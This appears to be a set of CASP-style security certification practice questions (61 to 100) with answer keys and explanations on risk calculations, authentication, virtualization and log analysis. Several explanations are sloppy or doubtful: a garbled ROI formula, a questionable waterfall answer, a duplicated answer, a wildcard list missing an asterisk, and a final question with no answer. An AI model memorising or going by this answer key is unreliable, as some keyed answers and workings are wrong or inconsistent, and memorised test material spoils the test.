61. A multi-national company has a highly mobile workforce and minimal IT infrastructure. The company utilizes a BYOD and social media policy to integrate presence technology into global collaboration tools by individuals and teams. As a result of the dispersed employees and frequent international travel, the company is concerned about the safety of employees and their families when moving in and out of certain countries. Which of the following could the company view as a downside of using presence technology?

A. Insider threat

B. Network reconnaissance

C. Physical security

D. Industrial espionage

Answer: C. If all company users worked in the same office with one corporate network and using company supplied laptops, then it is easy to implement all sorts of physical security controls. Examples of physical security include intrusion detection systems, fire protection systems, surveillance cameras or simply a lock on the office door.

However, in this question we have dispersed employees using their own devices and frequently traveling internationally. This makes it extremely difficult to implement any kind of physical security.

Physical security is the protection of personnel, hardware, programs, networks, and data from physical circumstances and events that could cause serious losses or damage to an enterprise, agency, or institution. This includes protection from fire, natural disasters, burglary, theft, vandalism, and terrorism.

62. The risk manager has requested a security solution that is centrally managed, can easily be updated, and protects end users' workstations from both known and unknown malicious attacks when connected to either the office or home network. Which of the following would BEST meet this requirement?

A. HIPS

B. UTM

C. Antivirus

D. NIPS

E. DLP

Answer: A. In this question, we need to protect the workstations when connected to either the office or home network. Therefore, we need a solution that stays with the workstation when the user takes the computer home.

A HIPS (Host Intrusion Prevention System) is software installed on a host which monitors the host for suspicious activity by analyzing events occurring within that host with the aim of detecting and preventing intrusion.

Intrusion prevention systems (IPS), also known as intrusion detection and prevention systems (IDPS), are network security appliances that monitor network and/or system activities for malicious activity. The main functions of intrusion prevention systems are to identify malicious activity, log information about this activity, attempt to block/stop it, and report it.

Intrusion prevention systems are considered extensions of intrusion detection systems because they both monitor network traffic and/or system activities for malicious activity. The main differences are, unlike intrusion detection systems, intrusion prevention systems are placed in-line and are able to actively prevent/block intrusions that are detected. More specifically, IPS can take such actions as sending an alarm, dropping the malicious packets, resetting the connection and/or blocking the traffic from the offending IP address.

63. During a new desktop refresh, all hosts are hardened at the OS level before deployment to comply with policy. Six months later, the company is audited for compliance to regulations. The audit discovers that 40 percent of the desktops do not meet requirements. Which of the following is the MOST likely cause of the noncompliance?

A. The devices are being modified and settings are being overridden in production.

B. The patch management system is causing the devices to be noncompliant after issuing the latest patches.

C. The desktop applications were configured with the default username and password.

D. 40 percent of the devices use full disk encryption.

Answer: A. The question states that all hosts are hardened at the OS level before deployment. So we know the desktops are fully patched when the users receive them. Six months later, the desktops do not meet the compliance standards. The most likely explanation for this is that the users have changed the settings of the desktops during the six months that they've had them.

64. A bank is in the process of developing a new mobile application. The mobile client renders content and communicates back to the company servers via REST/JSON calls. The bank wants to ensure that the communication is stateless between the mobile application and the web services gateway. Which of the following controls MUST be implemented to enable stateless communication?

A. Generate a one-time key as part of the device registration process.

B. Require SSL between the mobile application and the web services gateway.

C. The jsession cookie should be stored securely after authentication.

D. Authentication assertion should be stored securely on the client.

Answer: D. JSON Web Tokens (JWTs) are a great mechanism for persisting authentication information in a verifiable and stateless way, but that token still needs to be stored somewhere.

Login forms are one of the most common attack vectors. We want the user to give us a username and password, so we know who they are and what they have access to. We want to remember who the user is, allowing them to use the UI without having to present those credentials a second time. And we want to do all that securely. How can JWTs help?

The traditional solution is to put a session cookie in the user's browser. This cookie contains an identifier that references a "session" in your server, a place in your database where the server remembers who this user is.

However there are some drawbacks to session identifiers:

They're stateful. Your server has to remember that ID, and look it up for every request. This can become a burden with large systems.

They're opaque. They have no meaning to your client or your server. Your client doesn't know what it's allowed to access, and your server has to go to a database to figure out who this session is for and if they are allowed to perform the requested operation.

JWTs address all of these concerns by being a self-contained, signed, and stateless authentication assertion that can be shared amongst services with a common data format.

JWTs are self-contained strings signed with a secret key. They contain a set of claims that assert an identity and a scope of access. They can be stored in cookies, but all those rules still apply. In fact, JWTs can replace your opaque session identifier, so it's a complete win.

How To Store JWTs In The Browser Short answer: use cookies, with the HttpOnly; Secure flags. This will allow the browser to send along the token for authentication purposes, but won't expose it to the JavaScript environment

65. A company sales manager received a memo from the company's financial department which stated that the company would not be putting its software products through the same security testing as previous years to reduce the research and development cost by 20 percent for the upcoming year. The memo also stated that the marketing material and service level agreement for each product would remain unchanged. The sales manager has reviewed

the sales goals for the upcoming year and identified an increased target across the software products that will be affected by the financial department's change. All software products will continue to go through new development in the coming year. Which of the following should the sales manager do to ensure the company stays out of trouble?

A. Discuss the issue with the software product's user groups

B. Consult the company's legal department on practices and law

C. Contact senior finance management and provide background information

D. Seek industry outreach for software practices and law

Answer: B. To ensure that the company stays out of trouble, the sales manager should enquire about the legal ramifications of the change by consulting with the company's legal department, particularly as the marketing material is not being amended

66. An accountant at a small business is trying to understand the value of a server to determine if the business can afford to buy another server for DR. The risk manager only provided the accountant with the SLE of $24,000, ARO of 20% and the exposure factor of 25%. Which of the following is the correct asset value calculated by the accountant?

A. $4,800

B. $24,000

C. $96,000

D. $120,000

Answer: C. The annualized loss expectancy (ALE) is the product of the annual rate of occurrence (ARO) and the single loss expectancy (SLE). It is mathematically expressed as: ALE = ARO x SLE

Single Loss Expectancy (SLE) is mathematically expressed as: Asset value (AV) x Exposure Factor (EF)

Thus if SLE = $ 24,000 and EF = 25% then the Asset value is SLE/EF = $ 96,000

67. A company has received the contract to begin developing a new suite of software tools to replace an aging collaboration solution. The original collaboration solution has been in place for nine years, contains over a million lines of code, and took over two years to develop originally. The SDLC has been broken up into eight primary stages, with each stage requiring an in-depth risk analysis before moving on to the next phase. Which of the following software development methods is MOST applicable?

A. Spiral model

B. Incremental model

C. Waterfall model

D. Agile model

Answer: C. The waterfall model is a sequential software development processes, in which progress is seen as flowing steadily downwards through identified phases.

68. A security engineer is responsible for monitoring company applications for known vulnerabilities. Which of the following is a way to stay current on exploits and information security news?

A. Update company policies and procedures

B. Subscribe to security mailing lists

C. Implement security awareness training

D. Ensure that the organization vulnerability management plan is up-to-date

Answer: B. Subscribing to bug and vulnerability, security mailing lists is a good way of staying abreast and keeping up to date with the latest in those fields.

69. The Chief Executive Officer (CEO) of a small start-up company wants to set up offices around the country for the sales staff to generate business. The company needs an effective communication solution to remain in constant contact with each other, while maintaining a secure business environment. A junior-level administrator suggests that the company and the sales staff stay connected via free social media. Which of the following decisions is BEST for the CEO to make?

A. Social media is an effective solution because it is easily adaptable to new situations.

B. Social media is an ineffective solution because the policy may not align with the business.

C. Social media is an effective solution because it implements SSL encryption.

D. Social media is an ineffective solution because it is not primarily intended for business applications

Answer: B. Social media networks are designed to draw people's attention quickly and to connect people is thus the main focus; security is not the main concern. Thus the CEO should decide that it would be ineffective to use social media in the company as it does not align with the company business.

70. An organization has decided to reduce labor costs by outsourcing back office processing of credit applications to a provider located in another country. Data sovereignty and privacy concerns raised by the security team resulted in the third-party provider only accessing and processing the data via remote desktop sessions. To facilitate communications and improve productivity, staff at the third party has been provided with corporate email accounts that are only accessible via the remote desktop sessions. Email forwarding is blocked and staff at the third party can only communicate with staff within the organization. Which of the following additional controls should be implemented to prevent data loss? (Select THREE).

A. Implement hashing of data in transit

B. Session recording and capture

C. Disable cross session cut and paste

D. Monitor approved credit accounts

E. User access audit reviews

F. Source IP whitelisting

Answer: C, E, F. Data sovereignty is a legal concern where the data is governed by the laws of the country in which the data resides. In this scenario the company does not want the data to fall under the law of the country of the organization to whom back office process has be outsourced to. Therefore we must ensure that data can only be accessed on local servers and no copies are held on computers of the outsource partner. It is important therefore to prevent cut and paste operations.

Privacy concerns can be addressed by ensuring the unauthorized users do not have access to the data. This can be accomplished though user access auditing, which needs to be reviewed on an ongoing basis; and source IP whitelisting, which is a list of IP addresses that are explicitly allowed access to the system.

71. The Chief Executive Officer (CEO) of an Internet service provider (ISP) has decided to limit the company's contribution to worldwide Distributed Denial of Service (DDoS) attacks. Which of the following should the ISP implement? (Select TWO).

A. Block traffic from the ISP's networks destined for blacklisted IPs.

B. Prevent the ISP's customers from querying DNS servers other than those hosted by the ISP.

C. Scan the ISP's customer networks using an up-to-date vulnerability scanner.

D. Notify customers when services they run are involved in an attack.

E. Block traffic with an IP source not allocated to customers from exiting the ISP's network.

Answer: D, E. Since DDOS attacks can originate from nay different devices and thus makes it harder to defend against, one way to limit the company's contribution to DDOS attacks is to notify customers about any DDOS attack when they run services that are under attack. The company can also block IP sources that are not allocated to customers from the existing SIP's network.

72. The Chief Information Officer (CIO) is reviewing the IT centric BIA and RA documentation. The documentation shows that a single 24 hours downtime in a critical business function will cost the business $2.3 million. Additionally, the business unit which depends on the critical business function has determined that there is a high probability that a threat will materialize based on historical data. The CIO's budget does not allow for full system hardware replacement in case of a catastrophic failure, nor does it allow for the purchase of additional compensating controls. Which of the following should the CIO recommend to the finance director to minimize financial loss?

A. The company should mitigate the risk.

B. The company should transfer the risk.

C. The company should avoid the risk.

D. The company should accept the risk.

Answer: B. To transfer the risk is to deflect it to a third party, by taking out insurance for example.

73. An IT manager is concerned about the cost of implementing a web filtering solution in an effort to mitigate the risks associated with malware and resulting data leakage. Given that the ARO is twice per year, the ALE resulting from a data leak is $25,000 and the ALE after implementing the web filter is $15,000. The web filtering solution

will cost the organization $10,000 per year. Which of the following values is the single loss expectancy of a data leakage event after implementing the web filtering solution?

A.$0

B.$7,500

C.$10,000

D.$12,500

E.$15,000

Answer: B. The annualized loss expectancy (ALE) is the product of the annual rate of occurrence (ARO) and the single loss expectancy (SLE). It is mathematically expressed as: ALE = ARO x SLE

Single Loss Expectancy (SLE) is mathematically expressed as: Asset value (AV) x Exposure Factor (EF) SLE = AV x EF - Thus the Single Loss Expectancy (SLE) = ALE/ARO = $15,000 / 2 = $ 7,500

74. A security administrator wants to calculate the ROI of a security design which includes the purchase of new equipment. The equipment costs $50,000 and it will take 50 hours to install and configure the equipment. The administrator plans to hire a contractor at a rate of $100/hour to do the installation. Given that the new design and equipment will allow the company to increase revenue and make an additional $100,000 on the first year, which of the following is the ROI expressed as a percentage for the first year?

A. -45 percent

B. 5.5 percent

C. 45 percent

D. 82 percent

Answer: D. Return on investment = Net profit / Investment

where:Net profit = gross profit – expenses

investment = stock + market outstanding[when defined as?] + claims

or

Return on investment = (gain from investment – cost of investment) / cost of investment

Thus (100 000 – 55 000)/50 000 = 0,82 = 82 %

75. Ann, a systems engineer, is working to identify an unknown node on the corporate network. To begin her investigative work, she runs the following nmap command string:

user@hostname:~$ sudo nmap –O 192.168.1.54 Based on the output, nmap is unable to identify the OS running on the node, but the following ports are open on the device:

TCP/22

TCP/111

TCP/512-514

TCP/2049

TCP/32778

Based on this information, which of the following operating systems is MOST likely running on the unknown node?

A. Linux

B. Windows

C. Solaris

D. OSX

Answer: C. TCP/22 is used for SSH; TCP/111 is used for Sun RPC; TCP/512-514 is used by CMD like exec, but automatic authentication is performed as with a login server, etc. These are all ports that are used when making use of the Sun Solaris operating system.

76. An insurance company is looking to purchase a smaller company in another country. Which of the following tasks would the security administrator perform as part of the security due diligence?

A. Review switch and router configurations

B. Review the security policies and standards

C. Perform a network penetration test

D. Review the firewall rule set and IPS logs

Answer: B. IT security professionals should have a chance to review the security controls and practices of a company targeted for acquisition. Any irregularities that are found should be reported to management so that expenses and concerns are properly identified

77. A company is facing penalties for failing to effectively comply with e-discovery requests. Which of the following could reduce the overall risk to the company from this issue?

A. Establish a policy that only allows filesystem encryption and disallows the use of individual file encryption.

B. Require each user to log passwords used for file encryption to a decentralized repository.

C. Permit users to only encrypt individual files using their domain password and archive all old user passwords.

D. Allow encryption only by tools that use public keys from the existing escrowed corporate PKI

Answer: D.

Electronic discovery (also called e-discovery) refers to any process in which electronic data is sought, located, secured, and searched with the intent of using it as evidence in a civil or criminal legal case. E-discovery can be carried out offline on a particular computer or it can be done in a network.

An e-discovery policy would define how data is archived and encrypted. If the data is archived in an insecure manor, a user could be able to delete data that the user does not want to be searched. Therefore, we need to find a way of securing the data in a way that only authorized people can access the data.

A public key infrastructure (PKI) supports the distribution and identification of public encryption keys for the encryption of data. The data can only be decrypted by the private key.

In this question, we have an escrowed corporate PKI. Escrow is an independent and licensed third party that holds something (money, sensitive data etc.) and releases it only when predefined conditions have been met. In this case, Escrow is holding the private key of the PKI.

By encrypting the e-discovery data by using the PKI public key, we can ensure that the data can only be decrypted by the private key held in Escrow and this will only happen when the predefined conditions are met.

78. A security manager is looking into the following vendor proposal for a cloud-based SIEM solution. The intention is that the cost of the SIEM solution will be justified by having reduced the number of incidents and therefore saving on the amount spent investigating incidents.

Proposal:

External cloud-based software as a service subscription costing $5,000 per month. Expected to reduce the number of current incidents per annum by 50%.The company currently has ten security incidents per annum at an average cost of $10,000 per incident. Which of the following is the ROI for this proposal after three years?

A. -$30,000

B.$120,000

C.$150,000

D.$180,000

Answer: A. Return on investment = Net profit / Investment

where:Net profit = gross profit expenses.

or

Return on investment = (gain from investment – cost of investment) / cost of investment

Subscriptions = 5,000 x 12 = 60,000 per annum

10 incidents @ 10,000 = 100.000 per annumreduce by 50% = 50,000 per annum

Thus the rate of Return is -10,000 per annum and that makes for -$30,000 after three years.

79. The following has been discovered in an internally developed application:

Error - Memory allocated but not freed:

```
char *myBuffer = malloc(BUFFER_SIZE);
if (myBuffer != NULL) {
*myBuffer = STRING_WELCOME_MESSAGE;
printf("Welcome to: %s\n", myBuffer);
}
exit(0);
```

Which of the following security assessment methods are likely to reveal this security weakness? (Select TWO).

A. Static code analysis

B. Memory dumping

C. Manual code review

D. Application sandboxing

E. Penetration testing

F. Black box testing

Answer: A, C. A Code review refers to the examination of an application (the new network based software product in this case) that is designed to identify and assess threats to the organization.

Application code review – whether manual or static will reveal the type of security weakness as shown in the exhibit.

80. A system worth $100,000 has an exposure factor of eight percent and an ARO of four. Which of the following figures is the system's SLE?

A. $2,000

B. $8,000

C. $12,000

D. $32,000

Answer: B. Single Loss Expectancy (SLE) is mathematically expressed as: Asset value (AV) x Exposure Factor (EF)

SLE = AV x EF = $100 000 x 8% = $ 8 000

81. An intruder was recently discovered inside the data center, a highly sensitive area. To gain access, the intruder circumvented numerous layers of physical and electronic security measures. Company leadership has asked for a thorough review of physical security controls to prevent this from happening again. Which of the following departments are the MOST heavily invested in rectifying the problem? (Select THREE).

A. Facilities management

B. Human resources

C. Research and development

D. Programming

E. Data center operations

F. Marketing

G. Information technology

Answer: A, E, G. A: Facilities management is responsible for the physical security measures in a facility or building.

E: The breach occurred in the data center, therefore the Data center operations would be greatly concerned.

G: Data centers are important aspects of information technology (IT) in large corporations. Therefore the IT department would be greatly concerned

82. An educational institution would like to make computer labs available to remote students. The labs are used for various IT networking, security, and programming courses. The requirements are:

Each lab must be on a separate network segment.

Labs must have access to the Internet, but not other lab networks.

Student devices must have network access, not simple access to hosts on the lab networks.

Students must have a private certificate installed before gaining access.

Servers must have a private certificate installed locally to provide assurance to the students.

All students must use the same VPN connection profile.

Which of the following components should be used to achieve the design in conjunction with directory services?

A.L2TP VPN over TLS for remote connectivity, SAML for federated authentication, firewalls between each lab segment

B.SSL VPN for remote connectivity, directory services groups for each lab group, ACLs on routing equipment

C.IPSec VPN with mutual authentication for remote connectivity, RADIUS for authentication, ACLs on network equipment

D.Cloud service remote access tool for remote connectivity, OAuth for authentication, ACL on routing equipment

Answer: C. IPSec VPN with mutual authentication meets the certificates requirements.

RADIUS can be used with the directory service for the user authentication.

ACLs (access control lists) are the best solution for restricting access to network hosts.

83. A systems administrator establishes a CIFS share on a UNIX device to share data to Windows systems. The security authentication on the Windows domain is set to the highest level. Windows users are stating that they cannot authenticate to the UNIX share. Which of the following settings on the UNIX server would correct this problem?

A. Refuse LM and only accept NTLMv2

B. Accept only LM

C. Refuse NTLMv2 and accept LM

D. Accept only NTLM

Answer: A.

In a Windows network, NT LAN Manager (NTLM) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. NTLM is the successor to the authentication protocol in Microsoft LAN Manager (LANMAN or LM), an older Microsoft product, and attempts to provide backwards compatibility with LANMAN. NTLM version 2 (NTLMv2), which was introduced in Windows NT 4.0 SP4 (and natively supported

in Windows 2000), enhances NTLM security by hardening the protocol against many spoofing attacks, and adding the ability for a server to authenticate to the client.

This question states that the security authentication on the Windows domain is set to the highest level. This will be NTLMv2. Therefore, the answer to the question is to allow NTLMv2 which will enable the Windows users to connect to the UNIX server. To improve security, we should disable the old and insecure LM protocol as it is not used by the Windows computers.

84. A small company's Chief Executive Officer (CEO) has asked its Chief Security Officer (CSO) to improve the company's security posture quickly with regard to targeted attacks. Which of the following should the CSO conduct FIRST?

A. Survey threat feeds from services inside the same industry.

B. Purchase multiple threat feeds to ensure diversity and implement blocks for malicious traffic.

C. Conduct an internal audit against industry best practices to perform a qualitative analysis.

D. Deploy a UTM solution that receives frequent updates from a trusted industry vendor

Answer: A. Security posture refers to the overall security plan from planning through to implementation and comprises technical and non-technical policies, procedures and controls to protect from both internal and external threats. From a security standpoint, one of the first questions that must be answered in improving the overall security posture of an organization is to identify where data resides. All the advances that were made by technology make this very difficult. The best way then to improve your company's security posture is to first survey threat feeds from services inside the same industry.

85. A critical system audit shows that the payroll system is not meeting security policy due to missing OS security patches. Upon further review, it appears that the system is not being patched at all. The vendor states that the system is only supported on the current OS patch level. Which of the following compensating controls should be used to mitigate the vulnerability of missing OS patches on this system?

A. Isolate the system on a secure network to limit its contact with other systems

B. Implement an application layer firewall to protect the payroll system interface

C. Monitor the system's security log for unauthorized access to the payroll application

D. Perform reconciliation of all payroll transactions on a daily basis

Answer: A.

The payroll system is not meeting security policy due to missing OS security patches. We cannot apply the patches to the system because the vendor states that the system is only supported on the current OS patch level. Therefore, we need another way of securing the system.

We can improve the security of the system and the other systems on the network by isolating the payroll system on a secure network to limit its contact with other systems. This will reduce the likelihood of a malicious user accessing the payroll system and limit any damage to other systems if the payroll system is attacked.

86. An analyst connects to a company web conference hosted on www.webconference.com/meetingID#01234 and observes that numerous guests have been allowed to join, without providing identifying information. The topics covered during the web conference are considered proprietary to the company. Which of the following security concerns does the analyst present to management?

A. Guest users could present a risk to the integrity of the company's information.

B. Authenticated users could sponsor guest access that was previously approved by management.

C. Unauthenticated users could present a risk to the confidentiality of the company's information.

D. Meeting owners could sponsor guest access if they have passed a background check.

Answer: C.

The issue at stake in this question is confidentiality of information. Topics covered during the web conference are considered proprietary and should remain confidential, which means it should not be shared with unauthorized users.

87.A network engineer wants to deploy user-based authentication across the company's wired and wireless infrastructure at layer 2 of the OSI model. Company policies require that users be centrally managed and authenticated and that each user's network access be controlled based on the user's role within the company. Additionally, the central authentication system must support hierarchical trust and the ability to natively authenticate mobile devices and workstations. Which of the following are needed to implement these requirements? (Select TWO).

A. SAML

B. WAYF

C. LDAP

D. RADIUS

E. Shibboleth

F. PKI

Answer: C, D.

RADIUS is commonly used for the authentication of WiFi connections. We can use LDAP and RADIUS for the authentication of users and devices.

LDAP and RADIUS have something in common. They‘re both mainly protocols (more than a database) which uses attributes to carry information back and forth. They‘re clearly defined in RFC documents so you can expect products from different vendors to be able to function properly together.

RADIUS is NOT a database. It’s a protocol for asking intelligent questions to a user database. LDAP is just a database. In recent offerings it contains a bit of intelligence (like Roles, Class of Service and so on) but it still is mainly just a rather stupid database. RADIUS (actually RADIUS servers like FreeRADIUS) provide the administrator the tools to not only perform user authentication but also to authorize users based on extremely complex checks and logic. For instance you can allow access on a specific NAS only if the user belongs to a certain category, is a member of a specific group and an outside script allows access. There’s no way to perform any type of such complex decisions in a user database.

88. An attacker attempts to create a DoS event against the VoIP system of a company. The attacker uses a tool to flood the network with a large number of SIP INVITE traffic. Which of the following would be LEAST likely to thwart such an attack?

A. Install IDS/IPS systems on the network

B. Force all SIP communication to be encrypted

C. Create separate VLANs for voice and data traffic

D. Implement QoS parameters on the switches

Answer: D. Quality of service (QoS) is a mechanism that is designed to give priority to different applications, users, or data to provide a specific level of performance. It is often used in networks to prioritize certain types of network traffic. It is not designed to block traffic, per se, but to give certain types of traffic a lower or higher priority than others. This is least likely to counter a denial of service (DoS) attack.

89. The latest independent research shows that cyber attacks involving SCADA systems grew an average of 15% per year in each of the last four years, but that this year's growth has slowed to around 7%. Over the same time period, the number of attacks against applications has decreased or stayed flat each year. At the start of the measure period, the incidence of PC boot loader or BIOS based attacks was negligible. Starting two years ago, the growth in the number of PC boot loader attacks has grown exponentially. Analysis of these trends would seem to suggest which of the following strategies should be employed?

A. Spending on SCADA protections should stay steady; application control spending should increase substantially and spending on PC boot loader controls should increase substantially.

B. Spending on SCADA security controls should stay steady; application control spending should decrease slightly and spending on PC boot loader protections should increase substantially.

C. Spending all controls should increase by 15% to start; spending on application controls should be suspended, and PC boot loader protection research should increase by 100%.

D. Spending on SCADA security controls should increase by 15%; application control spending should increase slightly, and spending on PC boot loader protections should remain steady.

Answer: B. Spending on the security controls should stay steady because the attacks are still ongoing albeit reduced in occurrence Due to the incidence of BIOS-based attacks growing exponentially as the application attacks being decreased or staying flat spending should increase in this field.

Answer: B. Spending on the security controls should stay steady because the attacks are still ongoing albeit reduced in occurrence Due to the incidence of BIOS-based attacks growing exponentially as the application attacks being decreased or staying flat spending should increase in this field.

90. A security engineer is working on a large software development project. As part of the design of the project, various stakeholder requirements were gathered and decomposed to an implementable and testable level. Various security requirements were also documented.

Organize the following security requirements into the correct hierarchy required for an SRTM.

Requirement 1: The system shall provide confidentiality for data in transit and data at rest.

Requirement 2: The system shall use SSL, SSH, or SCP for all data transport.

Requirement 3: The system shall implement a file-level encryption scheme.

Requirement 4: The system shall provide integrity for all data at rest.

Requirement 5: The system shall perform CRC checks on all files.

A. Level 1: Requirements 1 and 4; Level 2: Requirements 2, 3, and 5

B. Level 1: Requirements 1 and 4; Level 2: Requirements 2 and 3 under 1, Requirement 5 under 4

C. Level 1: Requirements 1 and 4; Level 2: Requirement 2 under 1, Requirement 5 under 4; Level 3: Requirement 3 under 2

D. Level 1: Requirements 1, 2, and 3; Level 2: Requirements 4 and 5

Answer: B. Confidentiality and integrity are two of the key facets of data security. Confidentiality ensures that sensitive information is not disclosed to unauthorized users; while integrity ensures that data is not altered by unauthorized users. These are Level 1 requirements.

Confidentiality is enforced through encryption of data at rest, encryption of data in transit, and access control. Encryption of data in transit is accomplished by using secure protocols such as PSec, SSL, PPTP, SSH, and SCP, etc.

Integrity can be enforced through hashing, digital signatures and CRC checks on the files. In the SRTM hierarchy, the enforcement methods would fall under the Level requirement. References:

Gregg, Michael, and Billy Haines, CASP CompTIA Advanced Security Practitioner Study Guide, John Wiley & Sons, Indianapolis, 2012, pp. 17-19, 20, 27-29

91. A security architect is designing a new infrastructure using both type 1 and type 2 virtual machines. In addition to the normal complement of security controls (e.g. antivirus, host hardening, HIPS/NIDS) the security architect needs to implement a mechanism to securely store cryptographic keys used to sign code and code modules on the VMs. Which of the following will meet this goal without requiring any hardware pass-through implementations?

A. vTPM

B. HSM

C. TPM

D. INE

Answer: A. A Trusted Platform Module (TPM) is a microchip designed to provide basic security-related functions, primarily involving encryption keys. The TPM is usually installed on the motherboard of a computer, and it communicates with the remainder of the system by using a hardware bus.

A vTPM is a virtual Trusted Platform Module.

IBM extended the current TPM V1.2 command set with virtual TPM management commands that allow us to create and delete instances of TPMs. Each created instance of a TPM holds an association with a virtual machine (VM) throughout its lifetime on the platform.

92. A security firm is writing a response to an RFP from a customer that is building a new network based software product. The firm's expertise is in penetration testing corporate networks. The RFP explicitly calls for all possible behaviors of the product to be tested, however, it does not specify any particular method to achieve this goal. Which of the following should be used to ensure the security and functionality of the product? (Select TWO).

A. Code review

B. Penetration testing

C. Grey box testing

D. Code signing

E. White box testing

Answer: A,E, A Code review refers to the examination of an application (the new network based software product in this case) that is designed to identify and assess threats to the organization.

White box testing assumes that the penetration test team has full knowledge of the network and the infrastructure per se thus rendering the testing to follow a more structured approach.

93. A company has issued a new mobile device policy permitting BYOD and company-issued devices. The company-issued device has a managed middleware client that restricts the applications allowed on company devices and provides those that are approved. The middleware client provides configuration standardization for both company owned and BYOD to secure data and communication to the device according to industry best practices. The policy states that, "BYOD clients must meet the company's infrastructure requirements to permit a connection." The company also issues a memorandum separate from the policy, which provides instructions for the purchase, installation, and use of the middleware client on BYOD. Which of the following is being described?

A. Asset management

B. IT governance

C. Change management

D. Transference of risk

Answer: B. It governance is aimed at managing information security risks. It entails educating users about risk and implementing policies and procedures to reduce risk.

94. A popular commercial virtualization platform allows for the creation of virtual hardware. To virtual machines, this virtual hardware is indistinguishable from real hardware. By implementing virtualized TPMs, which of the following trusted system concepts can be implemented?

A. Software-based root of trust

B. Continuous chain of trust

C. Chain of trust with a hardware root of trust

D. Software-based trust anchor with no root of trust

Answer: C. A Trusted Platform Module (TPM) is a microchip designed to provide basic security-related functions, primarily involving encryption keys. The TPM is usually installed on the motherboard of a computer, and it communicates with the remainder of the system by using a hardware bus.

A vTPM is a virtual Trusted Platform Module; a virtual instance of the TPM.

IBM extended the current TPM V1.2 command set with virtual TPM management commands that allow us to create and delete instances of TPMs. Each created instance of a TPM holds an association with a virtual machine (VM) throughout its lifetime on the platform.

The TPM is the hardware root of trust.

Chain of trust means to extend the trust boundary from the root(s) of trust, in order to extend the collection of trustworthy functions. Implies/entails transitive trust.

Therefore a virtual TPM is a chain of trust from the hardware TPM (root of trust).

95. A user is suspected of engaging in potentially illegal activities. Law enforcement has requested that the user continue to operate on the network as normal. However, they would like to have a copy of any communications from the user involving certain key terms. Additionally, the law enforcement agency has requested that the user's ongoing communication be retained in the user's account for future investigations. Which of the following will BEST meet the goals of law enforcement?

A. Begin a chain-of-custody on for the user's communication. Next, place a legal hold on the user's email account.

B. Perform an e-discover using the applicable search terms. Next, back up the user's email for a future investigation.

C. Place a legal hold on the user's email account. Next, perform e-discovery searches to collect applicable emails.

D. Perform a back up of the user's email account. Next, export the applicable emails that match the search terms.

Answer:C. A legal hold is a process that an organization uses to maintain all forms of pertinent information when legal action is reasonably expected. E-discovery refers to discovery in litigation or government investigations that manages the exchange of electronically stored information (ESI). ESI includes email and office documents, photos, video, databases, and other filetypes.

96. A software project manager has been provided with a requirement from the customer to place limits on the types of transactions a given user can initiate without external interaction from another user with elevated privileges. This requirement is BEST described as an implementation of:

A. an administrative control

B. dual control

C. separation of duties

D. least privilege

E. collusion

Answer: C. Separation of duties requires more than one person to complete a task.

97. After the install process, a software application executed an online activation process. After a few months, the system experienced a hardware failure. A backup image of the system was restored on a newer revision of the same brand and model device. After the restore, the specialized application no longer works. Which of the following is the MOST likely cause of the problem?

A. The binary files used by the application have been modified by malware.

B. The application is unable to perform remote attestation due to blocked ports.

C. The restored image backup was encrypted with the wrong key.

D. The hash key summary of hardware and installed software no longer match.

Answer: D. Different software vendors have different methods of identifying a computer used to activate software. However, a common component used in software activations is a hardware key (or hardware and software key). This key is a hash value generated based on the hardware (and possibly software) installed on the system.

For example, when Microsoft software is activated on a computer, the software generates an installation ID that consists of the software product key used during the installation and a hardware key (hash value generated from the computer's hardware). The installation ID is submitted to Microsoft for software activation.

Changing the hardware on a system can change the hash key which makes the software think it is installed on another computer and is therefore not activated for use on that computer. This is most likely what has happened in this question.

98. Using SSL, an administrator wishes to secure public facing server farms in three subdomains: dc1.east.company.com, dc2.central.company.com, and dc3.west.company.com. Which of the following is the number of wildcard SSL certificates that should be purchased?

A. 0

B. 1

C. 3

D. 6

Answer: C. You would need three wildcard certificates:

*. east.company.com

*. central.company.com

west.company.com

The common domain in each of the domains is company.com. However, a wildcard covers only one level of subdomain. For example: *. company.com will cover "<anything>.company.com" but it won't cover "<anything>.<anything>.company.com".

You can only have one wildcard in a domain. For example: *.company.com. You cannot have *.*.company.com. Only the leftmost wildcard (*) is counted.

99. The source workstation image for new accounting PCs has begun blue-screening. A technician notices that the date/time stamp of the image source appears to have changed. The desktop support director has asked the

Information Security department to determine if any changes were made to the source image. Which of the following methods would BEST help with this process? (Select TWO).

A. Retrieve source system image from backup and run file comparison analysis on the two images.

B. Parse all images to determine if extra data is hidden using steganography.

C. Calculate a new hash and compare it with the previously captured image hash.

D. Ask desktop support if any changes to the images were made.

E. Check key system files to see if date/time stamp is in the past six months.

Answer: A, C. Running a file comparison analysis on the two images will determine whether files have been changed, as well as what files were changed.

Hashing can be used to meet the goals of integrity and non-repudiation. One of its advantages of hashing is its ability to verify that information has remained unchanged. If the hash values are the same, then the images are the same. If the hash values differ, there is a difference between the two images.

100. A security manager looked at various logs while investigating a recent security breach in the data center from an external source. Each log below was collected from various security devices compiled from a report through the company's security information and event management server.

Logs:

Log 1:

Feb 5 23:55:37.743: %SEC-6-IPACCESSLOGS: list 10 denied 10.2.5.81 3 packets

Log 2:

HTTP://www.company.com/index.php?user=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Log 3:

Security Error Alert

Event ID 50: The RDP protocol component X.224 detected an error in the protocol stream and has disconnected the client

Log 4:

Encoder oe = new OracleEncoder ();

String query = "Select user_id FROM user_data WHERE user_name = ' "

+ oe.encode (req.getParameter("userID")) + " ' and user_password = ' "

+ oe.encode (req.getParameter("pwd")) +" ' ";

Vulnerabilities

Buffer overflow

SQL injection

ACL

XSS

Which of the following logs and vulnerabilities would MOST likely be related to the security breach? (Select TWO).

A. Log 1

B. Log 2

C. Log 3

D. Log 4

E. Buffer overflow

F. ACL

G. XSS

H. SQL injection

Answer: B, E. Log 2 indicates that the security breach originated from an external source. And the vulnerability that can be associated with this security breach is a buffer overflow that happened when the amount of data written into the buffer exceeded the limit of that particular buffer.

100. A security engineer is a new member to a configuration board at the request of management. The company has two new major IT projects starting this year and wants to plan security into the application deployment. The board is primarily concerned with the applications' compliance with federal assessment and authorization standards. The security engineer asks for a timeline to determine when a security assessment of both applications should occur and does not attend subsequent configuration board meetings. If the security engineer is only going to perform a security assessment, which of the following steps in system authorization has the security engineer omitted?

A. Establish the security control baseline

B. Build the application according to software development security standards

C. Review the results of user acceptance testing

D. Consult with the stakeholders to determine which standards can be omitted

